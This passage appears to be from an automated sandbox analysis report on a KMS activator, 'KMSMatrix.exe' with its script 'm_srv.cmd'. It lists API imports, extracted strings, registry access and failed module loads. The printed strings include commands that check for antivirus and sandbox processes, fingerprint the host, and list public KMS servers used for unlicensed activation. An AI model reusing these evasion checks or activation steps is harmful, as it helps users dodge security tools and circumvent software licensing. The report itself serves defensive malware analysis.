"00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "AddDllDirectory"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found reference to API (Indicator: "DefWindowProcA"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp")46:T1009,file/memory contains long string with (Indicator: "net start "; File: "KMSMatrix.exe") Found string "net start ClipSVC /y %nul%" (Indicator: "net start "; File: "m_srv.cmd") Found string "for %%# in (wlidsvc LicenseManager sppsvc) do (net stop %%# /y %nul% & net start %%# /y %nul%)" (Indicator: "net start "; File: "m_srv.cmd") Found string "net start %%# /y %nul%" (Indicator: "net start "; File: "m_srv.cmd") Found string "net start sppsvc /y %nul%" (Indicator: "net start "; File: "m_srv.cmd") Found string "net start sppsvc /y %_Nul3%" (Indicator: "net start "; File: "m_srv.cmd") Found string "net start osppsvc /y %_Nul3% || (" (Indicator: "net start "; File: "m_srv.cmd") Found string "net start sppsvc /y >nul 2>&1" (Indicator: "net start "; File: "m_srv.cmd") Found string "net start osppsvc /y >nul 2>&1" (Indicator: "net start "; File: "m_srv.cmd") Found string "for %%# in (wlidsvc LicenseManager) do (net stop %%# /y %nul% & net start %%# /y %nul%)" (Indicator: "net start "; File: "m_srv.cmd") Found string "sc query %%# | find /i "RUNNING" %nul% || net start %%# /y %nul%" (Indicator: "net start "; File: "m_srv.cmd") Found string "net start ClipSVC /y %nul%" (Indicator: "net start "; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "for %%# in (wlidsvc LicenseManager) do (net stop %%# /y %nul% & net start %%# /y %nul%)" (Indicator: "net start "; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "sc query %%# | find /i "RUNNING" %nul% || net start %%# /y %nul%" (Indicator: "net start "; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "net start sppsvc /y >nul 2>&1" (Indicator: "net start "; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "net start osppsvc /y >nul 2>&1" (Indicator: "net start "; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "for %%# in (wlidsvc LicenseManager sppsvc) do (net stop %%# /y %nul% & net start %%# /y %nul%)" (Indicator: "net start "; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "net start %%# /y %nul%" (Indicator: "net start "; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "net start sppsvc /y %nul%" (Indicator: "net start "; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "net start sppsvc /y %_Nul3%" (Indicator: "net start "; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "net start osppsvc /y %_Nul3% || (" (Indicator: "net start "; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp")47:Te8c,file/memory contains long string with (Indicator: "cmd.exe /c"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "cmd.exe /c"; File: "m_srv.cmd") Found string "start %SystemRoot%\Sysnative\cmd.exe /c ""!_cmdf!" %* r1"" (Indicator: "cmd.exe /c"; File: "m_srv.cmd") Found string "start %SystemRoot%\SysArm32\cmd.exe /c ""!_cmdf!" %* r2"" (Indicator: "cmd.exe /c"; File: "m_srv.cmd") Found string "%WINDIR%\system32\cmd.exe /c ver" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00008068-00000C41-14820917927") Found string "%WINDIR%\system32\cmd.exe /c ver" (Indicator: "cmd.exe /c"; Source: "00000000-00008068-00000C41-14820917927") Found string "%WINDIR%\system32\cmd.exe /c echo prompt $E | cmd" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00008068-00000C41-23553132532") Found string "%WINDIR%\system32\cmd.exe /c echo prompt $E | cmd" (Indicator: "cmd.exe /c"; Source: "00000000-00008068-00000C41-23553132532") Found string "%WINDIR%\system32\cmd.exe /c wmic path win32_LocalTime Get Day,Month,Year /value" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00008068-00000C41-47274241477") Found string "%WINDIR%\system32\cmd.exe /c wmic path win32_LocalTime Get Day,Month,Year /value" (Indicator: "cmd.exe /c"; Source: "00000000-00008068-00000C41-47274241477") Found string "%WINDIR%\system32\cmd.exe /c tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00008068-00000C41-53257016263") Found string "%WINDIR%\system32\cmd.exe /c tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh" (Indicator: "cmd.exe /c"; Source: "00000000-00008068-00000C41-53257016263") Found string "%WINDIR%\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation" /v "SystemProduc" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00008068-00000C41-59348704249"), Found string "%WINDIR%\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation" /v "SystemProduc" (Indicator: "cmd.exe /c"; Source: "00000000-00008068-00000C41-59348704249") Found string "%WINDIR%\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current" /v "SystemProductName"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00008068-00000C41-61497892490") Found string "%WINDIR%\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current" /v "SystemProductName"" (Indicator: "cmd.exe /c"; Source: "00000000-00008068-00000C41-61497892490") Found string "%WINDIR%\system32\cmd.exe /c tasklist /fi "imagename eq ekrn.exe" /fo csv /nh" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00008068-00000C41-64169663607") Found string "%WINDIR%\system32\cmd.exe /c tasklist /fi "imagename eq ekrn.exe" /fo csv /nh" (Indicator: "cmd.exe /c"; Source: "00000000-00008068-00000C41-64169663607") Found string "%WINDIR%\system32\cmd.exe /c tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00008068-00000C41-68177950289") Found string "%WINDIR%\system32\cmd.exe /c tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh" (Indicator: "cmd.exe /c"; Source: "00000000-00008068-00000C41-68177950289") Found string "start %SystemRoot%\Sysnative\cmd.exe /c ""!_cmdf!" %* r1"" (Indicator: "cmd.exe /c"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "start %SystemRoot%\SysArm32\cmd.exe /c ""!_cmdf!" %* r2"" (Indicator: "cmd.exe /c"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp")48:T16a3,"KMSMatrix.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "KMSMatrix.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "KMSMatrix.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "KMSMatrix.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "KMSMatrix.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "KMSMatrix.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winmm.dll" - [base:0; Status:c0000135] "KMSMatrix.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\comctl32.dll" - [base:0; Status:c0000135] "KMSMatrix.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "KMSMatrix.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\webengine4.dll" - [base:0; Status:c0000135]49:T12c2,"do if not defined _intcon (for /f "delims=[] tokens=2" %%# in ('ping -n 1 %%a') do (if not [%%#]==[] set _intcon=1))if not defined _intcon (call :_color %_Red% "Internet is not connected."exit /b)if [%ERRORCODE%]==[-1073418124] (echo Checking Port 1688 connection, it may take a while...echo.set /a count=0set _portcon=for %%a in (%srvlist%) do if not defined _portcon if !count! LEQ 7 (set /a count+=1%psc% "$t = New-Object Net.Sockets.TcpClient;try{$t.Connect("""%%a""", 1688)}catch{};$t.Connected" | findstr /i true 1>nul && set _portcon=1)if not defined _portcon (call :_color %Red% "Port 1688 is blocked in your Internet connection."echo.echo Reason: Probably restricted Internet [Office/College] is connected,echo or Firewall is blocking the connection.echo.echo Solution: Either use another Internet connection or use offline KMSecho https://github.com/abbodi1406/KMS_VL_ALL_AIO) else (echo Port 1688 connection test is passed.echo." (Indicator: "github.com") "echo Make sure system files are not blocked by your firewall.echo If the issue persists, try offline KMSecho https://github.com/abbodi1406/KMS_VL_ALL_AIO)echo.)echo KMS server is not an issue in this case.exit /b::========================================================================================================================================:setserv:: Multi KMS servers integration and servers randomizationset srvlist=set -=set "srvlist=kms.zhu%-%xiaole.org kms-default.cangs%-%hui.net kms.six%-%yin.com kms.moe%-%club.org kms.cgt%-%soft.com"set "srvlist=%srvlist% kms.id%-%ina.cn kms.moe%-%yuuko.com xinch%-%eng213618.cn kms.wl%-%rxy.cn kms.ca%-%tqu.com"set "srvlist=%srvlist% kms.0%-%t.net.cn kms.its%-%jzx.com kms.wx%-%lost.com kms.moe%-%yuuko.top kms.gh%-%pym.com"set n=1for %%a in (%srvlist%) do (set %%a=&set server!n!=%%a&set /a n+=1)set max_servers=15set /a server_num=0exit /b:getservif %server_num% equ %max_servers% set /a server_num+=1&set" (Indicator: "github.com") "%~2) else (echo %esc%[%~1%~2%esc%[0m)) else (if defined _unattended (echo %~2) else (call :batcol %~1 "%~2"))exit /b:_color2if %_NCS% EQU 1 (echo %esc%[%~1%~2%esc%[%~3%~4%esc%[0m) else (call :batcol %~1 "%~2" %~3 "%~4")exit /b::=======================================:: Colored text with pure batch method:: Thanks to @dbenham and @jeb:: stackoverflow.com/a/10407642:batcolpushd %_coltemp%if not exist "'" ("'" set /p "=.")setlocalset "s=%~2"set "t=%~4"call :_batcol %1 s %3 tdel /f /q "'"del /f /q "`.txt"popdexit /b:_batcolsetlocal EnableDelayedExpansionset "s=!%~2!"set "t=!%~4!"for /f delims^=^ eol^= %%i in ("!s!") do ( if "!" equ "" setlocal DisableDelayedExpansion >`.txt (echo %%i\..\') findstr /a:%~1 /f:`.txt "." nul && set _portcon=1" (Indicator: "New-Object"; File: "m_srv.cmd") Found string "Write-Output "Found Office Software Protection installed cleaning"" (Indicator: "Write-Output"; File: "m_srv.cmd") Found string "Write-Host "No registry keys found."" (Indicator: "Write-Host"; File: "m_srv.cmd") Found string "Write-Host $_ = $mode" (Indicator: "Write-Host"; File: "m_srv.cmd") Found string "Write-Host "SharedComputerLicensing" = $scaMode" (Indicator: "Write-Host"; File: "m_srv.cmd") Found string "Write-Host" (Indicator: "Write-Host"; File: "m_srv.cmd") Found string "If (Test-Path $tokenPath)" (Indicator: "Test-Path"; File: "m_srv.cmd") Found string "Write-Host "No tokens found."" (Indicator: "Write-Host"; File: "m_srv.cmd") Found string "Write-Host $output" (Indicator: "Write-Host"; File: "m_srv.cmd") Found string "If (Test-Path $licensePath)" (Indicator: "Test-Path"; File: "m_srv.cmd") Found string "Write-Host "No licenses found."" (Indicator: "Write-Host"; File: "m_srv.cmd") Found string "$expiry = New-Object DateTime" (Indicator: "New-Object"; File: "m_srv.cmd") Found string "Write-Output $output" (Indicator: "Write-Output"; File: "m_srv.cmd")4d:T1968,"KMSMatrix.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "KMSMatrix.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "KMSMatrix.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "KMSMatrix.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "KMSMatrix.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "KMSMatrix.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "KMSMatrix.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "KMSMatrix.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "KMSMatrix.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "KMSMatrix.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "KMSMatrix.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "KMSMatrix.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "KMSMatrix.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "KMSMatrix.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "KMSMatrix.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "KMSMatrix.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "KMSMatrix.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "KMSMatrix.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "KMSMatrix.exe" touched "This Device" (Path: "HKCU\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "KMSMatrix.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "KMSMatrix.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "KMSMatrix.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "KMSMatrix.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "KMSMatrix.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "KMSMatrix.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "KMSMatrix.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "KMSMatrix.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "KMSMatrix.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "KMSMatrix.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "KMSMatrix.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "KMSMatrix.exe" touched "StreamBackedFolder" (Path: "HKCU\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "KMSMatrix.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "KMSMatrix.exe" touched "Removable Drives" (Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "cscript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}") "cscript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "cscript.exe" touched "Scripting.Dictionary" (Path: "HKCU\CLSID\{EE09B103-97E0-11CF-978F-00A02463E06F}\TREATAS") "cscript.exe" touched "Wbem Scripting Object Path" (Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS") "cscript.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "cscript.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "cscript.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "cscript.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "cscript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "cscript.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "cscript.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "cscript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "cscript.exe" touched "WBEM Scripting DateTime" (Path: "HKCU\CLSID\{47DFBE54-CF76-11D3-B38F-00105A1F473A}\TREATAS") "WMIC.exe" touched "Free Threaded XML DOM Document 6.0" (Path: "HKCU\CLSID\{88D96A06-F192-11D4-A65F-0040963251E5}\TREATAS") "WMIC.exe" touched "Microsoft WBEM WMI Object Factory" (Path: "HKCU\CLSID\{8D1C559D-84F0-4BB3-A7D5-56A7435A9BA6}\TREATAS") "WMIC.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "WMIC.exe" touched "WbemQuery" (Path: "HKCU\CLSID\{EAC8A024-21E2-4523-AD73-A71A0AA2F56A}\TREATAS") "WMIC.exe" touched "XSL Template 6.0" (Path: "HKCU\CLSID\{88D96A08-F192-11D4-A65F-0040963251E5}\TREATAS")4e:T48a,"KMSMatrix.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte 